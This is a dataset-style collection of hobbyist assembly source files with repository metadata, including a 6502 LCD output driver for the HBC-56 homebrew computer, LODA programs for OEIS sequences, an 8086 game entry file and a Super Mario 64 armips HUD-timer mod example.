e86491ecff8e7a4f5cd2985a7a7a65a797ab28fe
| 3,441
|
asm
|
Assembly
|
code/6502/basic/drivers/output_lcd_12864.asm
|
visrealm/hbc-56
|
9c082946e247e79edc12867299b5b0fda3b6c873
|
[
"MIT"
] | 65
|
2021-07-22T10:32:02.000Z
|
2022-03-30T04:42:45.000Z
|
code/6502/basic/drivers/output_lcd_12864.asm
|
visrealm/hbc-56
|
9c082946e247e79edc12867299b5b0fda3b6c873
|
[
"MIT"
] | 5
|
2022-03-29T20:23:57.000Z
|
2022-03-30T23:12:42.000Z
|
code/6502/basic/drivers/output_lcd_12864.asm
|
visrealm/hbc-56
|
9c082946e247e79edc12867299b5b0fda3b6c873
|
[
"MIT"
] | 4
|
2021-12-30T17:13:23.000Z
|
2022-03-05T09:07:22.000Z
|
; Troy's HBC-56 - BASIC - Output (128x64 Graphics LCD)
;
; Copyright (c) 2021 Troy Schrapel
;
; This code is licensed under the MIT license
;
; https://github.com/visrealm/hbc-56
;
TILE_OFFSET = HBC56_USER_ZP_START + 3
!align 255, 0
c64FontData:
!bin "lcd/fonts/c64-font-ascii.bin"
onVsync:
lda HBC56_TICKS
beq .doCursor
cmp #30
beq .doCursor
rts
.doCursor:
lda HBC56_TICKS
beq +
lda #' '
jmp ++
+
lda #$ff
++
sty HBC56_TMP_Y
ldy TILE_OFFSET
sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y
ldy HBC56_TMP_Y
jsr tilemapRenderToLcd
rts
; -----------------------------------------------------------------------------
; hbc56SetupDisplay - Setup the display (LCD)
; -----------------------------------------------------------------------------
hbc56SetupDisplay:
sei
jsr lcdInit
jsr lcdClear
jsr lcdGraphicsMode
+tilemapCreateDefault (TILEMAP_SIZE_X_16 | TILEMAP_SIZE_Y_8), c64FontData
lda #0
sta TILE_OFFSET
!ifdef tmsInit {
+hbc56SetVsyncCallback onVsync
+tmsEnableInterrupts
}
rts
; -----------------------------------------------------------------------------
; hbc56Out - EhBASIC output subroutine (for HBC-56 LCD)
; -----------------------------------------------------------------------------
; Inputs: A - ASCII character (or code) to output
; Outputs: A - must be maintained
; -----------------------------------------------------------------------------
hbc56Out:
sei ; disable interrupts during output
stx SAVE_X
sty SAVE_Y
sta SAVE_A
cmp #ASCII_RETURN
beq .newline
cmp #ASCII_BACKSPACE
beq .backspace
cmp #ASCII_BELL ; bell (end of buffer)
beq .bellOut
cmp #ASCII_CR ; omit these
beq .endOut
; regular character
ldy TILE_OFFSET
sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y
inc TILE_OFFSET
jsr checkTileOffset
.endOut:
; just render this row
lda TILE_OFFSET
lsr
lsr
lsr
lsr
tay
jsr tilemapRenderRowToLcd
ldx SAVE_X
ldy SAVE_Y
lda SAVE_A
cli
rts
.bellOut
jsr hbc56Bell
jmp .endOut
.newline
lda #' '
ldy TILE_OFFSET
sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y
; just render this row
lda TILE_OFFSET
lsr
lsr
lsr
lsr
tay
jsr tilemapRenderToLcd
lda TILE_OFFSET
clc
adc #16
and #$F0
sta TILE_OFFSET
jsr checkTileOffset
jmp .endOut
.backspace
lda #' '
ldy TILE_OFFSET
sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y
dec TILE_OFFSET
ldy TILE_OFFSET
lda #' '
sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y
jmp .endOut
rts
checkTileOffset:
lda TILE_OFFSET
cmp #128
bcc .offsetOk
; scroll
ldx #0
ldy #16
-
lda TILEMAP_DEFAULT_BUFFER_ADDRESS, y
sta TILEMAP_DEFAULT_BUFFER_ADDRESS, x
inx
iny
cpy #128
bne -
lda #128-16
sta TILE_OFFSET
; clear the last row
+memset TILEMAP_DEFAULT_BUFFER_ADDRESS + 128 - 16, ' ', 16
jsr tilemapRenderToLcd
.offsetOk
rts
| 20.241176
| 79
| 0.505086
|
abaff2178a6fc2e99a61320b814b51820a39d55d
| 657
|
asm
|
Assembly
|
programs/oeis/115/A115362.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/115/A115362.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/115/A115362.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A115362: Row sums of ((1,x) + (x,x^2))^(-1)*((1,x)-(x,x^2))^(-1) (using Riordan array notation).
; 1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1
add $0,1
gcd $0,1073741824
log $0,4
mov $1,$0
add $1,1
| 73
| 501
| 0.512938
|
e4159c27e3906f3662e8ff9a8828115c42f80faf
| 653
|
asm
|
Assembly
|
Cmain.asm
|
ItaiCuker/Assembly8086CrossyRoad
|
414e0403edebe376f1151b965daafb9f27c48f7e
|
[
"MIT"
] | null | null | null |
Cmain.asm
|
ItaiCuker/Assembly8086CrossyRoad
|
414e0403edebe376f1151b965daafb9f27c48f7e
|
[
"MIT"
] | null | null | null |
Cmain.asm
|
ItaiCuker/Assembly8086CrossyRoad
|
414e0403edebe376f1151b965daafb9f27c48f7e
|
[
"MIT"
] | null | null | null |
include cmacros.asm
IDEAL
MODEL small
STACK 100h
DATASEG
include 'Cphotos.asm'
include 'Cdigits.asm'
include 'Cdata.asm'
CODESEG
include 'CLine.asm'
include 'CFileP.asm'
include 'Cprocs.asm'
include 'CpicProc.asm'
include 'Cworld.asm'
include 'Carray.asm'
include 'CInd.asm'
include 'Cscore.asm'
include 'Cdiff.asm'
include 'Cchicken.asm'
start:
mov ax, @data
mov ds, ax
;graphic mode
call graphic
;taking first time
taketick
call randomizer
mov [Seed], dx
call Cstart
exit:
;----------------------------------
;back to text mode.
call text
mov ax, 4c00h
int 21h
END start
| 14.840909
| 36
| 0.632466
|
bcd2cf3136aae2ff179b0b85b3f2fc658934b04b
| 550
|
asm
|
Assembly
|
programs/oeis/311/A311536.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/311/A311536.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/311/A311536.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A311536: Coordination sequence Gal.6.120.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,8,12,17,22,27,32,37,42,46,50,54,58,62,66,71,76,81,86,91,96,100,104,108,112,116,120,125,130,135,140,145,150,154,158,162,166,170,174,179,184,189,194,199,204,208,212,216,220
mov $2,$0
add $2,1
mov $4,$0
lpb $2,1
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
lpb $0,1
sub $0,1
add $3,2
div $3,2
mod $3,6
add $3,1
lpe
add $3,1
add $1,$3
lpe
| 25
| 177
| 0.638182
|
a7f4d635caa374603ec5028620455f7a57eaeaba
| 244
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_otimr.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_otimr.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_otimr.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void *z180_otimr(void *src, uint8_t port, uint8_t num)
SECTION code_clib
SECTION code_z180
PUBLIC _z180_otimr
EXTERN asm_z180_otimr
_z180_otimr:
pop af
pop hl
pop bc
push bc
push hl
push af
jp asm_z180_otimr
| 11.619048
| 56
| 0.70082
|
90bece02e5a3814adc9ba02ff0783e502fd9439b
| 3,234
|
asm
|
Assembly
|
data/examples/N64/Super Mario 64/armips - examples/05_HudTimer.asm
|
DavidSM64/SimpleArmipsGui
|
2876912e414e0115f4181359ae3700d4794bd4f7
|
[
"MIT"
] | 10
|
2017-06-26T16:17:36.000Z
|
2020-11-18T01:36:44.000Z
|
bin/Release/data/examples/N64/Super Mario 64/armips - examples/05_HudTimer.asm
|
DavidSM64/SimpleArmipsGui
|
2876912e414e0115f4181359ae3700d4794bd4f7
|
[
"MIT"
] | null | null | null |
bin/Release/data/examples/N64/Super Mario 64/armips - examples/05_HudTimer.asm
|
DavidSM64/SimpleArmipsGui
|
2876912e414e0115f4181359ae3700d4794bd4f7
|
[
"MIT"
] | 4
|
2017-08-06T18:54:11.000Z
|
2021-02-28T11:42:39.000Z
|
// [ARMIPS 0.9+] HUD Timer Options Example by Davideesk
// Configure Timer Options
.defineLabel TIMER_SHOW_RESET, 0x00
.defineLabel TIMER_START, 0x01
.defineLabel TIMER_PAUSE, 0x02
.defineLabel TIMER_HIDE, 0x03
// DPAD button flags
.defineLabel BTN_DRIGHT, 0x100
.defineLabel BTN_DLEFT, 0x200
.defineLabel BTN_DDOWN, 0x400
.defineLabel BTN_DUP, 0x800
// SM64 function addresses
.defineLabel func_osViBlack, 0x80323340
.defineLabel func_DMACopy, 0x80278504
.defineLabel func_ConfigureTimer, 0x802495E0
// Custom function addresses
.defineLabel func_CustomTimer, 0x80370000
.defineLabel func_CustomTimer_ROM_start, 0x7F0000
.defineLabel func_CustomTimer_ROM_end, 0x7F0100
// Call our custom function with DmaCopy from the top-most levelscript.
.orga 0x108A18
.word 0x11080000, 0x8024B940
//************** DmaCopy function **************//
.orga 0x6940 ; Overwrite the unused function 0x8024B940
.area 0x64 ; Set data import limit to 0x64 bytes
addiu sp, sp, -0x18
sw ra, 0x14 (sp)
sw a0, 0x10 (sp) ; lvl cmd 0x11 safeguard
// These three are nessecary because of what we overwrote at 0x108A18.
jal func_osViBlack ; call osViBlack
move a0, r0
sw r0, 0x8038BE24 ; Set level accumulator to 0
// Copies 0x100 bytes from ROM addr 0x7F0000 to RAM addr 0x80370000
la a0, func_CustomTimer ; RAM address to copy to
la a1, func_CustomTimer_ROM_start ; ROM address start to copy from
la.u a2, func_CustomTimer_ROM_end ; ROM address end point (determines copy size)
jal func_DMACopy ; call DMACopy function
la.l a2, func_CustomTimer_ROM_end ; ROM address end point (determines copy size)
lw v0, 0x10 (sp) ; lvl cmd 0x11 safeguard
lw ra, 0x14 (sp)
jr ra
addiu sp, sp, 0x18
.endarea
//************** Mario loop function **************//
.orga 0x861C0 ; Set ROM address
.area 0x90 ; Set data import limit to 0x90 bytes
addiu sp, sp, -0x18
sw ra, 0x14 (sp)
jal func_CustomTimer ; Call our custom timer function
nop
lw ra, 0x14 (sp)
jr ra
addiu sp, sp, 0x18
.endarea
//************** Custom timer function **************//
.orga func_CustomTimer_ROM_start ; Set ROM address
.area 0x100 ; Set data import limit to 0x100 bytes
addiu sp, sp, -0x18
sw ra, 0x14 (sp)
// Check if DPAD-Right button has been pressed
lw at, 0x8033AFA0
andi at, at, BTN_DRIGHT
li t0, BTN_DRIGHT
bne at, t0, proc80370000_left
nop
jal func_ConfigureTimer ; call ConfigureTimer() function
li.l a0, TIMER_START ; start/resume timer
proc80370000_left:
// Check if DPAD-Left button has been pressed
lw at, 0x8033AFA0
andi at, at, BTN_DLEFT
li t0, BTN_DLEFT
bne at, t0, proc80370000_up
nop
jal func_ConfigureTimer ; call ConfigureTimer() function
li.l a0, TIMER_PAUSE ; pause timer
proc80370000_up:
// Check if DPAD-Up button has been pressed
lw at, 0x8033AFA0
andi at, at, BTN_DUP
li t0, BTN_DUP
bne at, t0, proc80370000_down
nop
jal func_ConfigureTimer ; call ConfigureTimer() function
li.l a0, TIMER_SHOW_RESET ; show and reset timer
proc80370000_down:
// Check if DPAD-Down button has been pressed
lw at, 0x8033AFA0
andi at, at, BTN_DDOWN
li t0, BTN_DDOWN
bne at, t0, proc80370000_end
nop
jal func_ConfigureTimer ; call ConfigureTimer() function
li.l a0, TIMER_HIDE ; show and reset timer
proc80370000_end:
lw ra, 0x14 (sp)
jr ra
addiu sp, sp, 0x18
.endarea
| 26.080645
| 80
| 0.758194
|
2937416208c6536845ced85f75492c45a5c6bc6c
| 477
|
asm
|
Assembly
|
oeis/293/A293626.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/293/A293626.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/293/A293626.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A293626: Numbers of the form (2^(2p) + 1)/5, where p is a prime > 5.
; Submitted by Jamie Morken(r1)
; 3277,838861,13421773,3435973837,54975581389,14073748835533,57646075230342349,922337203685477581,3777893186295716170957,967140655691703339764941,15474250491067253436239053,3961408125713216879677197517,16225927682921336339157801028813
add $0,3
seq $0,6005 ; The odd prime numbers together with 1.
sub $0,2
mov $2,4
pow $2,$0
mov $0,$2
div $0,15360
mul $0,49152
add $0,3277
| 34.071429
| 234
| 0.790356
|
e7bde58cab889a1635e60c73303ee5d4a59d0f40
| 491
|
asm
|
Assembly
|
programs/oeis/023/A023524.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/023/A023524.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/023/A023524.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A023524: Number of distinct prime divisors of prime(n)*prime(n-1) + 1.
; 1,1,1,2,3,2,3,2,3,2,3,3,4,3,3,3,3,3,3,4,2,3,3,2,3,4,3,4,2,3,4,4,3,3,3,3,2,3,4,3,3,3,4,2,3,3,5,3,5,3,3,2,3,3,2,4,3,3,3,3,3,4,3,3,3,4,3,3,4,3,3,4,4,3,3,4,4,4,4,6,3,4,3,2,2,3,2,4,5,4,3,2,4,4,4,4,2,4,3,2
seq $0,8578 ; Prime numbers at the beginning of the 20th century (today 1 is no longer regarded as a prime).
seq $0,13636 ; n*nextprime(n).
seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
| 70.142857
| 201
| 0.629328
|
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